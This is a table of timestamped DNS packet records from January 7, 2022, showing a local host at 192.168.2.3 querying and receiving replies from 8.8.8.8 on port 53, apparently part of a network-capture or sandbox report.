Jan 7, 2022 15:54:31.350044966 CET	59130	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:31.368439913 CET	53	59130	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:31.667187929 CET	52312	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:32.065232038 CET	51636	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:32.084682941 CET	53	51636	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:32.483012915 CET	60432	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:32.501071930 CET	53	60432	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:32.503206015 CET	64271	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:32.521712065 CET	53	64271	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:32.524668932 CET	51973	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:32.542825937 CET	53	51973	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:32.546950102 CET	63193	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:32.565351963 CET	53	63193	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:32.650650024 CET	53	52312	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:33.340073109 CET	53946	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:33.358232975 CET	53	53946	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:33.360038042 CET	61244	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:33.378563881 CET	53	61244	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:33.511369944 CET	55029	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:33.529910088 CET	53	55029	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:33.532147884 CET	59613	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:33.550645113 CET	53	59613	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:33.686228037 CET	53	52312	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:33.915292978 CET	50033	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:33.933789015 CET	53	50033	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:33.936403990 CET	51235	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:33.952656031 CET	53	51235	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:34.253117085 CET	56240	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:34.269669056 CET	53	56240	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:34.272197008 CET	55150	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:34.290283918 CET	53	55150	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:35.215774059 CET	62723	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:35.234709024 CET	53	62723	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:35.250190020 CET	57330	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:35.269233942 CET	53	57330	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:36.377438068 CET	55857	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:36.393831968 CET	53	55857	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:36.417692900 CET	55352	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:36.436078072 CET	53	55352	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:36.492351055 CET	62257	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:36.510974884 CET	53	62257	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:45.891864061 CET	62016	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:45.913027048 CET	53	62016	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:45.917069912 CET	56679	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:46.089987993 CET	53	56679	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:46.092549086 CET	64513	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:46.265572071 CET	53	64513	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:47.368482113 CET	58024	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:47.385431051 CET	53	58024	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:49.712357998 CET	50725	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:49.732938051 CET	53	50725	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:49.735135078 CET	60883	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:49.752577066 CET	53	60883	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:49.756829023 CET	49731	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:49.777112961 CET	53	49731	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:50.638823032 CET	61357	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:50.657018900 CET	53	61357	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:50.659234047 CET	52520	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:50.677973986 CET	53	52520	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:52.393699884 CET	52476	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:52.410238981 CET	53	52476	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:52.770601034 CET	49196	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:52.788805962 CET	53	49196	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:52.791095972 CET	63569	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:52.809216976 CET	53	63569	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:54.895272970 CET	60463	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:54.911860943 CET	53	60463	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:54.914582014 CET	61914	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:54.935338020 CET	53	61914	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:56.344429016 CET	65348	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:56.363048077 CET	53	65348	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:56.384172916 CET	58302	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:56.406378984 CET	53	58302	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:58.150924921 CET	59725	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:58.169236898 CET	53	59725	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:58.171406031 CET	53091	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:58.190134048 CET	53	53091	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:58.332196951 CET	62067	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:58.350410938 CET	53	62067	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:58.352660894 CET	64437	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:58.371815920 CET	53	64437	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:58.944869995 CET	53489	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:58.960906982 CET	53	53489	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:58.963037014 CET	55822	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:58.980756044 CET	53	55822	8.8.8.8	192.168.2.3
Jan 7, 2022 15:54:59.169903994 CET	60635	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:54:59.189078093 CET	53	60635	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:01.802428961 CET	64398	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:01.820652962 CET	53	64398	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:01.827318907 CET	54979	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:01.846229076 CET	53	54979	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:08.833045006 CET	60067	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:08.851969004 CET	53	60067	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:08.860162020 CET	51743	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:08.877162933 CET	53	51743	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:10.188113928 CET	49334	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:10.205758095 CET	53	49334	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:10.407923937 CET	59505	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:10.426006079 CET	53	59505	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:10.431175947 CET	52010	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:10.449780941 CET	53	52010	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:11.079854012 CET	54639	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:11.098797083 CET	53	54639	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:11.100722075 CET	55921	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:11.119024038 CET	53	55921	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:11.277254105 CET	54909	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:11.297838926 CET	53	54909	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:11.301209927 CET	64969	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:11.322776079 CET	53	64969	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:11.989546061 CET	49327	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:12.007886887 CET	53	49327	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:12.010478020 CET	60448	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:12.028907061 CET	53	60448	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:13.318797112 CET	55631	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:13.336982012 CET	53	55631	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:13.339653015 CET	54331	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:13.356065989 CET	53	54331	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:16.395342112 CET	60687	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:16.411497116 CET	53	60687	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:16.414897919 CET	56196	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:16.431469917 CET	53	56196	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:17.166791916 CET	61720	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:17.292546988 CET	53	61720	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:17.548243046 CET	62036	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:17.564475060 CET	53	62036	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:17.568767071 CET	57484	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:17.586791992 CET	53	57484	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:18.612982035 CET	61385	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:18.631238937 CET	53	61385	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:18.633213997 CET	57796	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:18.651943922 CET	53	57796	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:19.902219057 CET	60411	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:19.918751955 CET	53	60411	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:19.920958042 CET	54676	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:19.945871115 CET	53	54676	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:19.949429035 CET	63562	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:19.978796005 CET	53	63562	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:19.983064890 CET	62098	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:20.001573086 CET	53	62098	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:20.004569054 CET	58296	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:20.023235083 CET	53	58296	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:20.026396036 CET	60434	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:20.044996977 CET	53	60434	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:20.275177956 CET	49485	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:20.293581963 CET	53	49485	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:20.296269894 CET	51033	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:20.313024998 CET	53	51033	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:20.643731117 CET	58362	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:20.662607908 CET	53	58362	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:22.561594963 CET	56918	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:22.580288887 CET	53	56918	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:22.736474991 CET	59490	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:22.754961967 CET	53	59490	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:22.757200956 CET	59091	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:22.773677111 CET	53	59091	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:23.946990967 CET	52267	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:23.965425968 CET	53	52267	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:23.969557047 CET	63382	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:23.987670898 CET	53	63382	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:34.511112928 CET	62388	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:34.530036926 CET	53	62388	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:34.533670902 CET	60033	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:34.551948071 CET	53	60033	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:34.556706905 CET	51748	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:34.575414896 CET	53	51748	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:34.697272062 CET	58531	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:34.714266062 CET	53	58531	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:34.716088057 CET	50501	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:34.833767891 CET	53	50501	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:34.837366104 CET	54716	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:34.992263079 CET	53	54716	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:36.944417953 CET	50919	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:36.963028908 CET	53	50919	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:38.034652948 CET	56996	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:38.053234100 CET	53	56996	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:39.751240969 CET	51675	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:39.768188000 CET	53	51675	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:42.326991081 CET	50228	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:42.344763994 CET	53	50228	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:43.576013088 CET	57537	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:43.576534033 CET	57235	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:43.579772949 CET	64913	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:43.579946995 CET	64048	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:43.582315922 CET	63383	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:43.582696915 CET	50191	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:43.582726002 CET	51407	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:43.583240986 CET	53718	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:43.593278885 CET	53	57235	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:43.594683886 CET	53	57537	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:43.595896959 CET	53	64913	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:43.597943068 CET	53	64048	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:43.601077080 CET	53	63383	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:43.601473093 CET	53	50191	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:43.603689909 CET	50568	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:43.604130030 CET	53	53718	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:43.612633944 CET	53	51407	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:43.613579988 CET	49390	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:43.614545107 CET	55390	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:43.615806103 CET	62361	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:43.616203070 CET	60943	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:43.616290092 CET	55146	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:43.616566896 CET	60457	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:43.617763042 CET	49531	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:43.620803118 CET	53	50568	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:43.623262882 CET	53721	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:43.632317066 CET	53	49390	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:43.634936094 CET	53	55146	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:43.634962082 CET	53	60943	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:43.635096073 CET	53	60457	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:43.636035919 CET	53	49531	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:43.636934042 CET	58302	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:43.638133049 CET	49685	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:43.639782906 CET	53	53721	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:43.642030954 CET	50324	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:43.643731117 CET	52683	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:43.644007921 CET	56443	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:43.644377947 CET	60630	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:43.644469023 CET	53706	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:43.647233963 CET	53	55390	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:43.657088041 CET	53	49685	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:43.658184052 CET	61885	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:43.660630941 CET	53	52683	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:43.661433935 CET	53	50324	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:43.663136005 CET	58013	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:43.665987968 CET	53	56443	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:43.666018963 CET	53	60630	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:43.673590899 CET	51603	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:43.673804998 CET	60552	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:43.674159050 CET	50273	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:43.688961029 CET	53	61885	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:43.688997984 CET	53	58013	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:43.689016104 CET	53	58302	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:43.690484047 CET	53	50273	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:43.690615892 CET	64267	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:43.692090034 CET	57996	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:43.692150116 CET	53	60552	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:43.692214012 CET	53	51603	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:43.704988003 CET	54107	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:43.705033064 CET	56242	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:43.705414057 CET	51949	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:43.706502914 CET	53	53706	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:43.717070103 CET	53	64267	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:43.721957922 CET	53	57996	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:43.723223925 CET	53	54107	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:43.723244905 CET	53	56242	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:43.723326921 CET	53	51949	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:43.724900007 CET	64947	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:43.725042105 CET	53	62361	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:43.726644039 CET	57440	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:43.727797031 CET	58485	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:43.735413074 CET	54595	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:43.741718054 CET	53	64947	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:43.746107101 CET	53	58485	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:43.753993988 CET	53	54595	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:43.756134987 CET	59213	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:43.773010015 CET	53	59213	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:43.774589062 CET	55631	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:43.801001072 CET	53	55631	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:43.802532911 CET	56494	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:43.829663992 CET	53	56494	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:43.831481934 CET	55072	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:43.855803013 CET	53	55072	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:43.857738972 CET	60702	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:43.859636068 CET	53	57440	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:43.884242058 CET	53	60702	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:43.954396009 CET	59408	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:43.971278906 CET	53	59408	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:44.137404919 CET	60367	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:44.138704062 CET	58310	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:44.140218019 CET	52625	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:44.145509958 CET	61591	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:44.146138906 CET	55323	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:44.158721924 CET	53	58310	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:44.159307003 CET	53	60367	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:44.159478903 CET	53	52625	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:44.164880991 CET	62513	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:44.165246010 CET	53	55323	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:44.179661989 CET	53	61591	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:44.180298090 CET	49450	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:44.180746078 CET	61505	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:44.181154013 CET	59111	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:44.181509972 CET	62758	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:44.181853056 CET	63737	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:44.182188988 CET	56923	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:44.182533026 CET	49224	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:44.183645010 CET	53	62513	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:44.186038971 CET	61223	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:44.188256025 CET	63910	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:44.200386047 CET	53	49224	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:44.200894117 CET	53	59111	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:44.201314926 CET	53	62758	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:44.202184916 CET	53	61505	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:44.202436924 CET	53	63737	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:44.204952955 CET	55956	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:44.206749916 CET	53	61223	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:44.206906080 CET	51689	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:44.207350016 CET	61767	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:44.208292007 CET	53	63910	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:44.209279060 CET	49438	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:44.211818933 CET	53	49450	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:44.222526073 CET	62265	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:44.223059893 CET	55831	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:44.225682020 CET	53	51689	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:44.226032972 CET	53	61767	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:44.227482080 CET	52725	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:44.235857010 CET	53	49438	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:44.236176968 CET	61774	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:44.237520933 CET	63676	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:44.248986006 CET	53	55956	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:44.255940914 CET	53	62265	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:44.256129980 CET	53	55831	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:44.256145954 CET	53	63676	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:44.258604050 CET	55146	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:44.259979010 CET	65280	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:44.261163950 CET	51467	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:44.268878937 CET	53	56923	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:44.276324987 CET	53	65280	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:44.277342081 CET	53	55146	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:44.279464006 CET	53	51467	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:44.282438993 CET	59784	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:44.283437967 CET	53	61774	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:44.285518885 CET	65088	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:44.297875881 CET	55089	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:44.300415039 CET	53	59784	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:44.310467958 CET	53	65088	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:44.312906027 CET	53762	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:44.316425085 CET	53	55089	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:44.329122066 CET	53020	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:44.329634905 CET	53	53762	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:44.331231117 CET	56481	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:44.345931053 CET	53	53020	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:44.347678900 CET	53	56481	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:44.349735975 CET	59321	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:44.376014948 CET	53	59321	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:44.381186962 CET	53	52725	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:44.385799885 CET	56099	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:44.404020071 CET	53	56099	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:44.563731909 CET	64366	53	192.168.2.3	8.8.8.8
Jan 7, 2022 15:55:44.582067966 CET	53	64366	8.8.8.8	192.168.2.3
Jan 7, 2022 15:55:44.584153891 CET	65418	53	192.168.2.3	8.8.8.8
